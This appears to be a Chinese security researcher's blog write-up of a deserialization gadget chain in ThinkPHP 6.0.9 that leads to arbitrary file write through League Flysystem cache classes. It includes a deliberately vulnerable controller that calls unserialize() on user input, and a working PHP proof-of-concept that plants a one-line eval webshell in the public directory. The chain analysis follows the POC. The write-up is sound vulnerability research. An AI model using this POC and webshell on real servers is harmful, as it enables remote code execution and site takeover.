ThinkPHP v6.0.9 反序列化&任意写文件 分析

前言

从Y4tacker师傅直播中了解,自己跟一下

环境准备

用phpstudy部署thinkphp6 / 使用教程

使用composer安装tp6 php版本在7.1以上

写入demo:

D:\phpstudy_pro\WWW\tp\app\controller\Index.php

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
public function index($unser = "")
{
highlight_file(__FILE__);
unserialize($unser);
}
}

复现

poc:

<?php

namespace League\Flysystem\Cached\Storage{
use League\Flysystem\Filesystem\AbstractAdapter;

abstract class AbstractCache{
protected $autosave = false;
}

class Adapter extends AbstractCache{
protected $adapter;
protected $file;
protected $expire;

public function __construct(){
$this->file="cys2.php"; //文件名称
$this->complete="<?php eval(\$_POST[a]);?>"; //内容
$this->adapter=new \League\Flysystem\Adapter\Local(); //has()方法
}
}
}

namespace League\Flysystem\Adapter{
class Local extends AbstractAdapter{

}
abstract class AbstractAdapter{
protected $pathPrefix = "./"; //这里进行目录的更改
}
}

namespace{
$a = new \League\Flysystem\Cached\Storage\Adapter();
echo urlencode(serialize($a));
}

在/public目录下生成cys.php

分析

全局搜索 __destruct()

在src/Storage/AbstractCache.php

abstract class AbstractCache implements CacheInterface

如果autosave为false则执行save()函数

搜索当前文件没有发现save()函数,看到当前类为抽象类,搜索谁继承了当前类

在src/Storage/Adapter.php 发现save()函数

class Adapter extends AbstractCache

跟进getForStorage()函数

发现参数cache complete 和方法cleanContents()在抽象类中, expire在当前类中

跟进cleanContents()发现没什么用,那么在save()函数中$contents参数我们可控

接下来进行一个has()方法的判断,我们肯定是想进行write()方法,那么has()就要返回一个false

搜索has()方法,在src/Adapter/Local.php

class Local extends AbstractAdapter

在它的抽象类中跟进到applyPathPrefix()

src/Adapter/AbstractAdapter.php

跟进getPathPrefix()

这里的pathPrefix可控,让pathPrefix为 ./ 再配合ltrim可以控制任意写入文件的目录地址

ltrim意思是去除 \ 最终返回到has()的 file_exists($location) 因为这里的$location是我们写入的文件名: ./cys.php不存在,所以返回false

然后向上返回到write()函数,写入一句话